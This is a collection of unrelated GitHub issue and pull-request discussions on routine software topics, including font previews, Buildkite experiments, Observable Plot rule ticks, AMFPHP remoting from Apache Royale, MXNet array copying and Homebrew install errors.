When i start fontpreview, i get greeted with the error message, that is shown in the title, that error message comes with c.a. 75% of all fonts, and with the other ones, there is no output on the left.
I have all of the dependencies installed.

Yes, it current does that. ImageMagick's convert command do not use .pcf fonts. I should probably use convert -list font to list the available fonts, so every font shows in fontpreview-ueberzug can be, well, previewed. I will solve it after I figure out how to do that elegantly.

It should be fixed in the latest master. There are still some fonts convert finds but give errors in the command. We can reopen if there is any more issues.
BTW, currently it shows font name differently.


fix: 🪶 experiment normalised-upload-paths was left out of the list of available experiments

We are seeing this warning in our Buildkite jobs:
WARN   Unknown experiment enabled: "normalised-upload-paths"

It looks like the experiment is present and does do something.
I would hypothesize that this is just an accidental oversight to leave this out of the list.

I would hypothesize that this is just an accidental oversight to leave this out of the list.

you would hypothesize correctly 😅

Sorry. I fixed on last typo I noticed in the variable name (I had used the American spelling) so it disabled auto-merge. Thanks for the review!

ah thank you!

Any chance of getting a release of this out ASAP @moskyb?


Update server.js

pass "request" param from ws "connection" event to rpc-websockets "connection" event

Coverage remained the same at 89.384% when pulling 01c9bf025b7dfd1a968b45021d64d80b7ef99172 on andrsyash:patch-1 into b3f1ecfc854627180398ee314900953dc9aeb000 on qaap:master.

Coverage remained the same at 89.384% when pulling 01c9bf025b7dfd1a968b45021d64d80b7ef99172 on andrsyash:patch-1 into b3f1ecfc854627180398ee314900953dc9aeb000 on qaap:master.

Thanks!


tick option for rule, as in error bars

Plot.plot({
  marks: [
    Plot.barY(alphabet, {x: "letter", y: "frequency", sort: {x: "-y"}, fill: "steelblue"}),
    Plot.ruleX(alphabet, {x: "letter", y1: (d) => d.frequency * 0.9, y2: (d) => d.frequency * 1.1, tick: true}),
    Plot.ruleY([0])
  ]
})

Fixes #1874.
Since the rule is now rendered as a path element instead of a line, there is a lot of churn in the test snapshots despite the result being visually identical.

I also considered doing this as a new marker (tick), but it’s a little harder to control the size of the ticks when using a marker since it scales with the stroke width. The arrow-reverse marker is already pretty close to this, though!

As I mentioned in #1892 I think I prefer the marker version, for this particular use case.
However, the up-side of changing the node type to a PATH is that it allows it to be more malleable. If we did this across the board, not just for rules, we could have rules on maps (#1164), "curvy rects" (for example to create donut charts as rects displayed with a polar projection). Paths are very versatile and could be used to do something unexpected (like, be used to control a textPath, or add a perturbation/disturbance for style effects, or add a flubber transition to another type of shape). Another use case would be "top rounded corners" (https://github.com/observablehq/plot/discussions/1201). {maybe this comment should be an independent issue}

the up-side of changing the node type to a PATH is that it allows it to be more malleable

There’s no requirement that a mark always render as the same type of SVG element; it could render as a line sometimes, and a path other times when more expressiveness is required. For example, the dot mark renders as a circle element for the circle symbol and as a path element for other symbols.
I don’t think the implementing SVG element should be the primary consideration here — that’s mostly invisible to the user. Instead, we should decide based on the difference in the two interfaces:

In the path approach: the ticks inherit the rule’s stroke options (stroke, strokeWidth, strokeOpacity, strokeDasharray, strokeDashoffset) and the tick size is specified in (absolute) pixels. This approach applies exclusively to the rule mark.

In the marker approach: the ticks inherit only the stroke of the associated mark, the tick size scales with the strokeWidth of the associated mark, and the other stroke options (strokeWidth, strokeOpacity, strokeDasharray, strokeDashoffset) are not configurable. This approach applies to any mark that supports markers.

I think if we’re happy with the limited configurability of ticks, then (2) seems preferable to me due to the added generality. But we could always add (1) in the future, too.


feat: Adding support for Spanner with PG Dialect in Database Retriever Service

Adding support for Spanner with PG Dialect in Database Retriever Service.
Queries are used based on auto dialect detection.

Closing it and changes are tracked on https://github.com/GoogleCloudPlatform/genai-databases-retrieval-app/pull/402


Support for cabal new-build in a nix-shell

I find this is a sort of "best of both worlds" way of working.
I set it up as nix-shell -A shells.ghc because this is what the reflex-platform uses here.  Reflex platform also has nix-shell -A shells.ghcjs for compiling with ghcjs.
I've added nix support to Leksah that uses shells.ghc and shells.ghcjs.  I am keen to add shells.eta too.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

@puffnfresh Thanks for reviewing!


Update nightly workflow

Codecov Report
Patch and project coverage have no change.

Comparison is base (5662f2e) 100.00% compared to head (1b93b2e) 100.00%.

Additional details and impacted files
@@            Coverage Diff            @@
##              main      #409   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files           19        19
  Lines         1688      1688
  Branches       176       176
=========================================
  Hits          1688      1688

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Fix dependencies

Before this, I got build errors complaining about undefined logrus symbols from
the docker package, e.g.
../../vendor/github.com/docker/docker/errdefs/http_helpers.go:103:21: undefined: logrus.Fields

I suspect this happened because the path for the logrus package has a casing
error, but this did not surface on case-insensitive filesystems.
In addition, I ran go mod vendor and go mod tidy, which added some
additional dependencies to go.mod.

Thanks for the PR @mbrgm ! What kind of environment do you have where you got that logrus problem? Also curious what you did for testing to check for any potential regression issues... I'm a bit concerned github.com/gosuri/uilive gets pulled in this PR. It was source of unexpected failures in the cloud-based CI/CD environments.

@kcq I am in the process of packaging this for NixOS (https://github.com/NixOS/nixpkgs/pull/76831)... I encountered the logrus issues there, but it should occur on any case-sensitive filesystem.
For (manual) testing, I built the binaries and ran docker-slim build against my image. I did not find any automated test in the source or documentation and go test all fails before and after my change, so that's all I did.
About pulling in dependencies: isn't this how go modules are supposed to be used? I see that you forked the uilive library... could you maybe propose your fixes to upstream or add module support to your fork?


#5699 pressing escape should close column search menu

cool.  please add: pressing ESC should close table column menu as well.


gtf.Train() not working for example notebook in segmentation model

I was training the example notebook in the segmentation models and the training ran for one epoch and then I got the following error:

Thank you for pointing out the issue

A solution has been added for the issue. Please check f the error has been resolved or not.

gtf.Train() not working for notebook in Example - Underwater Trash Detection.ipynb
AttributeError: 'COCO' object has no attribute 'get_cat_ids'


Add wysiwyg and markdown formats for string editor

{
  "type": "string",
  "format": "html"
}

{
  "type": "string",
  "format": "markdown"
}

WYSIWYG:
Bootstrap:

http://mindmup.github.io/bootstrap-wysiwyg/
http://jhollingworth.github.io/bootstrap-wysihtml5/
http://hackerwins.github.io/summernote/

Non-bootstrap:

http://xing.github.io/wysihtml5/
http://www.scriptiny.com/2010/02/javascript-wysiwyg-editor/

Markdown
Bootstrap:

http://kevin.oconnor.mp/pagedown-bootstrap/

Non-bootstrap:

http://epiceditor.com/

May I ask why you choose SCEeditor?
Summernote seems to be a much more popular choice.

Is there a way to specify the editor? I would like to use summernote instead, due to its support for pasting images. How to do it?


Finalize bucket extraction

Closes #1328

I tested it today and haven't found any bug, which need to postpone bucket extraction.
/cc @r15ch13 @niheaven @h404bi @rasa @brandon93s @scoopinstaller @se35710 Did you encounter any bugs?
SideNote: Remove Path alias for binaries as discussed in discord
Fixes from decompress refactor:

Closes #3080
Closes #3120
Closes #3198
Closes #3230
Closes #3287
Closes #3339
Closes #3374
Closes #3388

Don't make duplicated commits from other branches to master please. Just push your finial changes to develop than ask @r15ch13 to release these updates from develop branch to master.


Request to AMFPHP fails to return any fault or result event

I'm not getting any fault or result event triggered for my simple example....
<?xml version="1.0" encoding="utf-8"?><js:Application xmlns:fx="http://ns.adobe.com/mxml/2009" xmlns:js="library://ns.apache.org/royale/basic" applicationComplete="applicationCompleteHandler(event);">

    <fx:Script>
        <![CDATA[
            import org.apache.royale.net.RemoteObject;
            import org.apache.royale.net.events.FaultEvent;
            import org.apache.royale.net.events.ResultEvent;

            private function applicationCompleteHandler(evt:Event):void{
                testLabel.text = "Requesting from AMF";
                service.send("getPackages", null);
            }

            private function amfFaultHandler(evt:FaultEvent):void{
                testLabel.text = "Fault in calling AMF";
            }

            private function amfResultHandler(evt:ResultEvent):void{
                testLabel.text = "Result received from AMF";
            }
        ]]>
    </fx:Script>

    <js:valuesImpl>
        <js:SimpleCSSValuesImpl />
    </js:valuesImpl>

    <js:beads>
        <js:ClassAliasBead />
        <js:RemoteObject id="service" result="amfResultHandler(event)" fault="amfFaultHandler(event)"
                         endPoint = "https://clients.cityfashion.dev.exuvis.com/amfphp/gateway.php"
                         destination = "Meta"
                         source = "Meta"/>
    </js:beads>

    <js:initialView>
        <js:View>
            <js:Label id="testLabel" />
        </js:View>
    </js:initialView>
</js:Application>

The endPoint set is to
https://clients.cityfashion.dev.exuvis.com/amfphp/gateway.php
This is correct, right? (I use this endpoint in Flex and that works fine)
From the Chrome Developer Tools Network Monitor I get the following output:
Request URL:https://clients.cityfashion.dev.exuvis.com/amfphp/gateway.php
Request Method:OPTIONS
Status Code:200 OK
Remote Address:<IP_ADDRESS>:443
Referrer Policy:no-referrer-when-downgrade
Response Headers
view source
Connection:keep-alive
Content-Encoding:gzip
Content-Length:286
Content-Type:text/html; charset=UTF-8
Date:Thu, 15 Feb 2018 13:08:17 GMT
Server:nginx
Vary:Accept-Encoding
Request Headers
view source
Accept:*/*
Accept-Encoding:gzip, deflate, br
Accept-Language:en-GB,en-US;q=0.9,en;q=0.8
Access-Control-Request-Headers:content-type
Access-Control-Request-Method:POST
Connection:keep-alive
Host:clients.cityfashion.dev.exuvis.com
Origin:null
User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36

Response there is:

amfphp and this gateway are installed correctly. You may now connect to this gateway from Flash.

Note: If you're reading an old tutorial, it will tell you that you should see a download window instead of this message. This confused people so this is the new behaviour starting from amfphp 1.2.

View the amfphp documentation

Load the service browser

Should I target a specific file with the JS version? Should the endPoint be different?

I have made the following sample using Flex 4.16 AIR 27 which should resemble the exact same thing as the code for royale above. This sample is working fine in AIR.
<?xml version="1.0" encoding="utf-8"?>
<s:WindowedApplication xmlns:fx="http://ns.adobe.com/mxml/2009"
					   xmlns:s="library://ns.adobe.com/flex/spark"
					   xmlns:mx="library://ns.adobe.com/flex/mx" applicationComplete="windowedapplication_applicationCompleteHandler(event)">
	<fx:Script>
		<![CDATA[
			import mx.events.FlexEvent;
			import mx.rpc.events.FaultEvent;
			import mx.rpc.events.ResultEvent;
			import mx.rpc.remoting.RemoteObject;

			private var remoteObject:RemoteObject;
			protected function windowedapplication_applicationCompleteHandler(event:FlexEvent):void
			{
				remoteObject = new RemoteObject;
				remoteObject.endpoint = "https://clients.cityfashion.dev.exuvis.com/amfphp/gateway.php";
				remoteObject.source = "Meta";
				remoteObject.destination = "Meta";
				remoteObject.getOperation("getPackages").addEventListener(FaultEvent.FAULT, getPackagesFaultHandler, false, 0, true);
				remoteObject.getOperation("getPackages").addEventListener(ResultEvent.RESULT, getPackagesResultHandler, false, 0, true);
				remoteObject.getOperation("getPackages").arguments = null;
				testLabel.text = "Requesting via AMF..";
				remoteObject.getOperation("getPackages").send();
			}

			private function getPackagesFaultHandler(evt:FaultEvent):void{
				testLabel.text = "AMF returned fault event";
			}

			private function getPackagesResultHandler(evt:ResultEvent):void{
				testLabel.text = "AMF returned result event";
			}
		]]>
	</fx:Script>

	<s:Label id="testLabel" />

</s:WindowedApplication>

When I modify the AMF sample project with my AMFPHP implementation (changed the endPoint, source and destination and called my own function getPackages) like below:
<?xml version="1.0" encoding="utf-8"?>
<js:Application xmlns:fx="http://ns.adobe.com/mxml/2009"
                 xmlns:js="library://ns.apache.org/royale/basic"
                 xmlns:local="*">

    <fx:Script>
		<![CDATA[
			import org.apache.royale.net.events.FaultEvent;
			import org.apache.royale.net.events.ResultEvent;
            import valueObjects.ClientValueObject;
            import valueObjects.Product;

			protected function sendName():void
			{
                service.send("getPackages", null);
			}

			private function onResult(evt:ResultEvent):void
			{
				trace("Result=" + evt.data);
				if (evt.data is String)
					received.text = "Received: " + evt.data;
				else if (evt.data is Product)
                {
                    var product:Product = evt.data as Product;
                    received.text = "Received: product name is '" + product.name + "' and product description is '" + product.description + "'" ;
                } else
              	{
                    var arr:Array = evt.data as Array;
                    list.dataProvider = arr;
				}
			}

			private function onFault(evt:FaultEvent):void
			{
				trace("Fault=" + evt.message);
			}

			protected function getVOs():void
			{
                service.send("getObjectArray1", []);
			}

            protected function getSomeProduct():void
			{
                service.send("getPackages", []);
			}

            protected function reportChange():void
            {
                var vo:ClientValueObject = list.selectedItem as ClientValueObject;
                received.text = "selected " + vo.id;
            }

		]]>
	</fx:Script>

    <js:beads>
        <js:ClassAliasBead />
        <js:RemoteObject id="service" result="onResult(event)" fault="onFault(event)"
                         endPoint = "https://clients.cityfashion.dev.exuvis.com/amfphp/gateway.php"
                         destination = "Meta"
                         source = "Meta"/>
    </js:beads>

    <js:initialView>
        <js:View>
            <js:beads>
                <js:VerticalLayout />
            </js:beads>
            <js:Label text="Text to be sent via AMF RemoteObject..." />
            <js:TextInput id="name_txt" />
            <js:TextButton text="Send Name to AMF" click="sendName()"/>
			<js:Label id="received" width="300"/>
            <js:TextButton text="Get Array of ValueObjects" click="getVOs()"/>
            <js:List id="list" labelField="id" width="100" height="100" change="reportChange()"/>
            <js:TextButton text="Get Some Product" click="getSomeProduct()"/>
        </js:View>
    </js:initialView>

    <js:valuesImpl>
        <js:SimpleCSSValuesImpl />
    </js:valuesImpl>
</js:Application>

In debug mode I get the following error:
Language.js:238
Object {code: -1004, message: "Invalid response type.", detail: "Invalid XMLHttpRequest response status or type.", data: null}
Language.js:238
code:-1004
data:null
detail:"Invalid XMLHttpRequest response status or type."
message:"Invalid response type."

I am unable to get the JAVA part of the example to work so can't verify if that works for me but since it does for you I presume this is something related to the AMFPHP implementation.

I think I found the "issue". As parameter I'm passing null. If I pass [] (empty array) then I'm getting the following error:

org.apache.royale.net.remoting.messages.ErrorMessage {_body: {…}, correlationId: "", faultCode: "AMFPHP_FILE_NOT_FOUND", faultDetail: "/var/web/fn0383/enality.clients.v2/amfphp/core/shared/app/BasicActions.php on line 33", faultString: "The class {Amf3Broker} could not be found under th…clients.v2/amfphp/services/amfphp/Amf3Broker.php}"}
correlationId
:
""
faultCode
:
"AMFPHP_FILE_NOT_FOUND"
faultDetail
:
"/var/web/fn0383/enality.clients.v2/amfphp/core/shared/app/BasicActions.php on line 33"
faultString
:
"The class {Amf3Broker} could not be found under the class path {/var/web/fn0383/enality.clients.v2/amfphp/services/amfphp/Amf3Broker.php}"

I a special (newer?) version of AMFPHP required? Could this be the difference?

Could this be related to http://blog.sephiroth.it/tag/amf3broker/ ?

Maybe, but that would imply a server-side issue and you say it works from Flex.  If you use a network monitor on the working Flex version, what is Flex sending?

I used Charles (see attachment) but that does not seem to provide much info.
Which implementation is used for the JS side? https://github.com/emilkm/amfjs ?
Maybe Flex supports more (older) versions and the JS side does not?
AIR_Flex_Call.chls.zip

Royale_Call.chls.zip
This is the log from charles when running the Royale project

CORS was enabled, so previous log might be incorrect. Attaching correct one now
Royale_Call_CORS_OFF.chls.zip

Yes, we use a port of emilkm/amfjs.  It is possible that the server you are calling expects an older protocol.  The packets are in the log and I can see that the request packet is different.
Do you know if the server you are running handles AMF3?

Last time I checked the server should support AMF3 but the issue in order
to work with PHP 7 (emilkm supports this) was that our AMFPHP version (I
believe it was 1.9) was too old. Probably this is going to be the same
issue.
In the next two weeks I know this issue is in active follow-up in our
server team so I'll check this with regards to my Royale example. We need
to update our server AMFPHP version to the latest from emilkm.
Will keep you up to date on the progress (but it isn't highest priority at
our company at the moment)
On Sat, Feb 17, 2018 at 12:56 AM, aharui<EMAIL_ADDRESS>wrote:

Yes, we use a port of emilkm/amfjs. It is possible that the server you are
calling expects an older protocol. The packets are in the log and I can see
that the request packet is different.
Do you know if the server you are running handles AMF3?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/apache/royale-asjs/issues/119#issuecomment-366392363,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AS0N056paZuPAgoj0I_pDlbm7o80L6HGks5tVhW1gaJpZM4SHqd1
.

If I understand you correctly, I won't spend any more time on this for now until we hear back from you.  I suppose at some point we need to look into using whatever version of AMF your working Flex version used.  We should be able to send the same bytes over the network.  But it will take time to figure out how to do that and there are lots of other fires to fight right now.

Hi @coxfrederic, probably your issues with AMFPHP are now solved since there was many improvements. Let us know if you can test it and if is now working we can close this issue. Thanks

Hi,
I also have issue with amfphp from silexlab.
Tested with amfphp v1.9 and 2.0  (see https://stackoverflow.com/questions/58241175/how-to-use-amfphp-with-apache-royale)

Hi Fred,
just commented some minutes ago:
1.- remember to add <js:ClassAliasBead />
2.-change to use mx:RemoteObject instead on js:RemoteObject
3.-Start with very basic testing (basic types), then increase complexity to Objects and Arrays, and then to Custom Types.
Tell us if you got it working, It should, since I see AMF working for BlazeDS (Java) and FluorineFX (.NET), so AMFPHP should work without problem this days. Take into account that @coxfrederic tried this in Feb 2018 and we got AMF robust send and receive around Nov-Dec 2018.
Only Vector and Dictionary types are not supported, any other type should work without problem.
Also, if you want to use ArrayList instead of ArrayCollection remember to map it:
//register ArrayCollection alias to map to ArrayList in local project
registerClassAlias("flex.messaging.io.ArrayCollection", ArrayList);

Hi Carlos,
Thanks for your sharp reply (as always ;-)
My inspiration was from RemoteObjectAMFTest in the exemple dir, I didn't thought to use mx:RemoteObject . So I will use it, test it and report if right or not working.
Just to be sure : To be able to use  mx:RemoteObject I obligatory must change <j:Application> to <mx:Application> right ?

Hi Carlos,
1- So, I have succed to usemx:RemoteObjectwith AMFPHP V1.9 and V2.0 (for now I have test just one basic argument), but I need to use <mx:Application>. Is there a way to use it in a <j:Application> ?
2- Unfortunaly, trying using as3 with Netconnection doesn't work.
Here is the way I use it, fist make the Netconnection one time (singleton) :
	    var tempConnection:NetConnection = new NetConnection();
	    tempConnection.objectEncoding = ObjectEncoding.AMF3;
	    _netConnection = new NetConnection();
	    _netConnection.objectEncoding = ObjectEncoding.AMF3;
	    _netConnection.addEventListener(NetStatusEvent.NET_STATUS, netStatusHandler);
            _netConnection.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);
            _netConnection.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);
            _netConnection.addEventListener(AsyncErrorEvent.ASYNC_ERROR,ev_AsyncErrorEvent);
            _netConnection.connect(_gatewayURL);

then when I need to call a service (this is working using Flex) where name is the remote function to call
        public function callService(name:String, listener:Function, ...args):void
	{
		_netConnection.call.apply(_netConnection, [name, new Responder(listener, statusHandler)].concat(args));
	}

Using it, I have this following error
	/onStatusA$flex.messaging.messages.ErrorMessage
correlationId	faultCode@ faultDetailfaultStringÉTrying to get property of non-object .

file:  /home/www/myserver.com/amfphpv2/Plugins/AmfphpFlexMessaging/AmfphpFlexMessaging.php

line: 113

context: Array
(
    [requestMessage] => Amfphp_Core_Amf_Message Object
        (
            [targetUri] => null
            [responseUri] => /1
            [data] => Array
                (
                    [0] => 123
                )

        )

    [serviceRouter] => Amfphp_Core_Common_ServiceRouter Object
        (
            [serviceFolders] => Array
                (
                    [0] => /home/www/myserver.com/amfphpv2/Core/../Services/
                )

            [serviceNames2ClassFindInfo] => Array
                (
                    [AmfphpMonitorService] => Amfphp_Core_Common_ClassFindInfo Object
                        (
                            [absolutePath] => /home/www/myserver.com/amfphpv2/Plugins/AmfphpMonitor/AmfphpMonitorService.php
                            [className] => AmfphpMonitorService
                        )

                    [AmfphpDiscoveryService] => Amfphp_Core_Common_ClassFindInfo Object
                        (
                            [absolutePath] => /home/www/myserver.com/amfphpv2/Plugins/AmfphpDiscovery/AmfphpDiscoveryService.php
                            [className] => AmfphpDiscoveryService
                        )

                )

            [checkArgumentCount] => 1
        )

    [explicitTypeField] => _explicitType
)
	rootCause

Have you an idea why it isn't working ? I think the issue is that targetUri is null, but I don't see how to set it
Regards

Re,
I confirm the issue is because targetUri is empty.
From AMFPHP source (class Amfphp_Core_Amf_Message) I can see
 /**
     * inthe case of a request:
     * parsed to a service name and a function name. supported separators for the targetUri are '.' and '/'
     * The service name can either be just the name of the class (TestService) or include a path(package/TestService)
     * example of full targetUri package/TestService/mirrorFunction
     *
     * in the case of a response:
     * the request responseUri + OK/KO
     * for example: /1/onResult or /1/onStatus
     *
     * @var String
     */
    public $targetUri = '';

Re,
I didn't be careful that Flex Netconnection call function and mx.messaging aren't the same.
I found the right use, and it is working :)
Here is how
        public function callService(name:String, listener:Function, ...args):void
	{
		//_netConnection.call.apply(_netConnection, [name, new Responder(listener, statusHandler)].concat(args)); //Flex version
                // Royale version
		var message:RemotingMessage = new RemotingMessage();
                message.operation = "pingMe";
                message.body = args;
                message.source = "service_test";
		message.destination = "amfphp";

		_netConnection.call(null,new Responder(listener, statusHandler), message);
	}

Hi Fred, you can use j:Application instead mx:Application with no problem. We are using Jewel with mx:RemoteObject in our real application. Since Jewel use ArrayList instead of ArrayCollection you need to map it, for these reason I was suggesting to use:
//register ArrayCollection alias to map to ArrayList in local project
registerClassAlias("flex.messaging.io.ArrayCollection", ArrayList);

For the rest, I think you get working all right? let me know if you have some more problem or you finally succeed using AMF/RemoteObect with AMFPHP. If you report you get it, we can add to the list of backends we support :)
Thanks


Remove unused fsnotify

Provided we merge this PR, we will also want to remove this line and these lines from the source code.


Setup Continuous Deployment

Adding a github workflow push the latest release to the github registry so it can be easily used in cloud deployments via a canonical (and automatically updating) target.

Example run: https://github.com/fleupold/transaction-simulator/actions/runs/6330060226/job/17191614761

Awesome, thanks for the contribution @fleupold! :)


[feature request] CoffeeCoffee displays remaining time

Setup info

Workflow name: CoffeeCoffee
Workflow version: v21.2
Alfred version: 4.6.1
macOS version: 12.1
Architecture: Apple Silicon

Description of issue
I've been using Caffeine Control for a while now, but saw your workflow and wanted to switch to something that's actively maintained. One feature they have that's nice is that the display shows how long is left when you type the command:

I like the idea. Or I did, until I played around with it. Being active for a set time is a feature of caffeinate itself. That’s a tool that ships with macOS and which both Workflows use. The way caffeinate knows to stay on is via a -t (timeout) option given in seconds.
If you’ve ever built a timer in code, you’ll know waiting for a set number of seconds isn’t a good way to do it. Due to the nature of how computers work, being under load or other factors will make your timer out of sync. The correct (and more complicated) way of doing it is to periodically check the system clock to see if the desired time has elapsed.
I checked how Caffeinate Control does it, and it’s the naïve way of assuming one second since caffeinate has started equals one fewer second remaining for it to be done. That’s not something you can trust.
I just did a bunch of tests with caffeinate and its timer slows down by about 10%. a timeout of 60 seconds takes ≈ 66 seconds. 30 → 33, 90 → 99. It’s weird how consistent the delay is, to the point I’m wondering if it’s a bug.
 I can think of ways to make the timer more accurate, but that entails using more system resources to kill it at the right time. I don’t think that’s worth it, seeing you’re the only one who has ever asked for this feature.
I’ll close the issue though I’m not saying “no” yet. I’ll think further on how big of a deal this really is in practice, but I don’t like the thought of giving out incorrect information.

makes sense. not hugely important to me, but figured i would suggest. FWIW i've used Caffeine Control for years and have never noticed any discrepancies between the timer and the caffeinate process

It was a good suggestion. The consistent 10% may be a Monterey bug; I’ll investigate further.

Was poking around the Workflow for other things and decided to implement the feature. I’m using the simple approach, so let’s see how it goes. One particular difference is that instead of saying how many minutes remain, it lists the time at which it predicts it will turn off.

Sounds great! Let me know if I can help with testing or anything else!


Info: You have been mentioned in e3zine.com

Just to let you know - feel free to delete this issue any time...
https://e3zine.com/software-development-at-sap-fiori-uis/
Quote:
Here, the OpenUI5 team does an excellent job. When experiencing issues or wanting to share an idea, they respond quickly, are open to enhancements and constant progress in the UI library. Kudos to these people and to SAP for sponsoring the development.

Hello @wernerdaehn!
Thank you for linking to the article.
As the nature of this opened issue is only informative, I will close it.
Best regards,
Georgi


test(core): test for write_with_cache_control

part of #2060

https://cloud.google.com/storage/docs/metadata?hl=zh-cn#cache-control
Seems we cannot use rest API to set cache-control for objects.

gcs is acting so weird. 😵💫


Refactor ReshapeSparseTensor into a template+class

This is in preparation for adding a GPU implementation.
No functional change.
cc @nluehr

@allenl Any idea who should review this?

@allenl Any idea who should review this?

@allenlavoie Any idea who should review this?

@allenlavoie Any idea who should review this?

@penpornk has been working on sparse kernels I believe. Penporn, want to take a look?

@penpornk has been working on sparse kernels I believe. Penporn, want to take a look?

@allenlavoie @cheshire Sure, I can review this. :)

@allenlavoie @cheshire Sure, I can review this. :)

Gentle ping.


Upgrade parent image to v3.2.1

Build will fail until https://github.com/UKHomeOffice/application-container-platform-bau/issues/1898 is resolved.

This will fail until the UK drone is fixed.


the speed of MXNDArraySyncCopyToCPU

I am trying to run code on cpu using mxnet. I got a 256-D mx.ndrray , but when I try
to use asnumpy to transform it to numpy array, it takes a long time(about 60s). It is a
bug? Here is my code:
def cal_dis(img1, img2, args):
    load_start_time = time.time()
    with mx.Context(mx.cpu(0)):
        _, model_args, model_auxs = mx.model.load_checkpoint(args.model_prefix, args.epoch)
    symbol = lightened_cnn_b_feature()
    model_args['data'] = mx.nd.array(np.array([img1, img2]), ctx)
    exector = symbol.bind( args = model_args, args_grad = None, grad_req = "null", aux_states = model_auxs, ctx = ctx)
    exector.forward(is_train = False)
    #exector.outputs[0].wait_to_read()
    output = exector.outputs[0].asnumpy()

forward and backward are async.
asnumpy() is waiting for the actual computation to finish

Is there a methd for solving this problem when I do forward computing?

seems asnumpy is inevitable if we want to get the result?

@BingzheWu So you might need waitToRead

@zihaolucky , I have tried waitToRead. It seems that this function also takes a long time to run.

I ran into the problem too. Is there any way to make it faster?

@BingzheWu For how long? I have to add this or the service would crashed after a while, but seems it's not too slow.

Note that the other calls forward and calculation are asynchourous, so the wait is actually to wait for these previous calls to finish, instead of the cost of copy

I called wait_to_read after each call of 'update', and my issue was solved.

Same issue here when calling asnumpy in metric computation.

This issue is closed due to lack of activity in the last 90 days. Feel free to ping me to reopen if this is still an active issue. Thanks!


Construct DiscretePredicates only when necessary in Hive connector

HiveMetadata#getTableProperties() is constructing a DiscretePredicates object on every invocation (if the table is partitioned).  That operation does not have a negligible cost for tables that have many partitions and is going to be invoked many times during planning.  The only optimizer making use of DiscretePredicates currently is MetadataQueryOptimizer and it is disabled by default.  We should consider using some heuristics for deciding when that computation is necessary.

This shouldn't actually be expensive, since the DiscretePredicates is lazily evaluated.  I was mislead by some high numbers on the first invocation, but subsequent tests showed the execution times as being low.


added files

closing as amalgamated into this pr: https://github.com/GSS-Cogs/idpd-api-poc/pull/129
ty for this

Hi Mike, I've tried adding in parent and subtopic into my new dataset (B3:
state of water environment)
        "sub_topics": [

        ],
        "parent_topics": [ "https://staging.idpd.uk/topics/climatechange"],

but python unit test is telling me to include topic field instead:
editions.0.topics
  Field required [type=missing<EMAIL_ADDRESS>'https://staging....':
'Unit of Measure'}]}}, input_type=dict]
    For further information visit https://errors.pydantic.dev/2.4/v/missing

I'll go ahead and change to topic for now but let me know where i'm going
wrong
On Fri, 10 Nov 2023 at 08:23, Michael Adams @.***>
wrote:

@.**** requested changes on this pull request.
RE topics, are are going to need them (otherwise we end up with broken
links on the api, but you don't need to get into the weeds on parents and
children unless you want to, as an example a topic of
<EMAIL_ADDRESS>"https://staging.idpd.uk/topics/some-topic",
<EMAIL_ADDRESS>"dcat:theme",
        "identifier": "some-topic",
        "title": "Some Topic",
        "description": "something describing some topic",
        "sub_topics": [],
        "parent_topics": []
    },

is completely viable for now, we can always get into parents/children as a
separate piece later on.
—
Reply to this email directly, view it on GitHub
https://github.com/GSS-Cogs/idpd-api-poc/pull/119#pullrequestreview-1724253496,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AQDAKPFD67UKRB6WCZILIGLYDXQBZAVCNFSM6AAAAAA7CUI5VSVHI2DSMVQWIX3LMV43YUDVNRWFEZLROVSXG5CSMV3GSZLXHMYTOMRUGI2TGNBZGY
.
You are receiving this because you authored the thread.Message ID:
@.***>

I've pushed it up, pull request is here:
https://github.com/GSS-Cogs/idpd-api-poc/pull/130
I resolved a conflict.
This isn't a nudge to get it merged just following up
On Tue, 14 Nov 2023 at 09:57, Richard Morgan @.***>
wrote:

Hi Mike, I've tried adding in parent and subtopic into my new dataset (B3:
state of water environment)
        "sub_topics": [

        ],
        "parent_topics": [ "https://staging.idpd.uk/topics/climatechange"
],

but python unit test is telling me to include topic field instead:
editions.0.topics
  Field required [type=missing<EMAIL_ADDRESS>'https://staging....':
'Unit of Measure'}]}}, input_type=dict]
    For further information visit
https://errors.pydantic.dev/2.4/v/missing

I'll go ahead and change to topic for now but let me know where i'm going
wrong
On Fri, 10 Nov 2023 at 08:23, Michael Adams @.***>
wrote:

@.**** requested changes on this pull request.
RE topics, are are going to need them (otherwise we end up with broken
links on the api, but you don't need to get into the weeds on parents and
children unless you want to, as an example a topic of
<EMAIL_ADDRESS>"https://staging.idpd.uk/topics/some-topic",
<EMAIL_ADDRESS>"dcat:theme",
        "identifier": "some-topic",
        "title": "Some Topic",
        "description": "something describing some topic",
        "sub_topics": [],
        "parent_topics": []
    },

is completely viable for now, we can always get into parents/children as
a separate piece later on.
—
Reply to this email directly, view it on GitHub
https://github.com/GSS-Cogs/idpd-api-poc/pull/119#pullrequestreview-1724253496,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AQDAKPFD67UKRB6WCZILIGLYDXQBZAVCNFSM6AAAAAA7CUI5VSVHI2DSMVQWIX3LMV43YUDVNRWFEZLROVSXG5CSMV3GSZLXHMYTOMRUGI2TGNBZGY
.
You are receiving this because you authored the thread.Message ID:
@.***>


Convenience version of SendRpc to send to a list of NetworkingPlayers.

People on discord were asking for a convenience version of SendRpc where instead of one target player they could specify an array of players to send to.

That is a good question. The Contribution doc only talks about single line conditionals.


Cannot install Crystal with Homebrew

brew install crystal
fatal: Could not resolve HEAD to a revision
Warning: No available formula with the name "crystal".
==> Searching for similarly named formulae...
Error: No similarly named formulae found.
==> Searching for a previously deleted formula (in the last month)...
Error: No previously deleted formula found.
==> Searching taps on GitHub...
Error: No formulae found in taps.

I'm pretty sure this is more so a brew issue than Crystal. Something from https://stackoverflow.com/questions/65605282/trying-to-install-hugo-via-homebrew-could-not-resolve-head-to-a-revision would probably resolve it as its the same error just for a different package.

This is the wrong place to report this issue. It's clearly a homebrew issue.
